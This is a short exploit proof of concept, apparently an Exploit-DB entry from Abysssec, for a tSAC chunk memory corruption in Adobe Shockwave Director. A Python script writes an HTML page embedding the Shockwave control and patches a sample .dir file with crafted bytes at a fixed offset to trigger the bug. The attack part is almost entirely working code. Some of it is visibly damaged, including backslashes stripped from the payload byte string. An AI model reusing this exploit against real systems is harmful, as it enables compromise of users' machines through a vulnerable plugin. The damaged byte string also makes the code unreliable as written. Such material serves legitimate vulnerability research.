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# Title : MOAUB #22 - Adobe Shockwave Director tSAC Chunk Memory Corruption
# Published : 2010-09-22
# Author : Abysssec
# Previous Title : Microsoft Mspaint Bmp crash PoC
# Next Title : MOAUB #21 - Microsoft Excel WOPT Record Parsing Heap Memory Corruption
'''
__ __ ____ _ _ ____
| / |/ __ / | | | | _
| / | | | | / | | | | |_) |
| |/| | | | |/ / | | | | _ <
| | | | |__| / ____ |__| | |_) |
|_| |_|____/_/ _____/|____/
'''
'''
Title : Adobe Shockwave Director tSAC Chunk memory corruption
Version : dirapi.dll 11.5.7
Analysis : http://www.abysssec.com
Vendor : http://www.adobe.com
Impact : Med/High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
http://www.exploit-db.com/moaub-22-adobe-shockwave-director-tsac-chunk-memory-corruption/
http://www.exploit-db.com/sploits/moaub-22-exploit.zip
'''
import sys
temp = """<!-- saved from url=(0013)about:internet -->
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=wineglass>
<param name=src value="poc.dir">
<param name=PlayerVersion value=11>
</object>
"""
htmlTest = open('poc.html', 'wb')
htmlTest.write(temp)
htmlTest.close()
sampleFile = open('sample.dir','rb')
pocFile = open("poc.DIR",'wb')
pocFile.write(sampleFile.read(-1))
sampleFile.close()
pocFile.seek(13168)
pocFile.write("xffxffxffxffx11x11")
pocFile.close()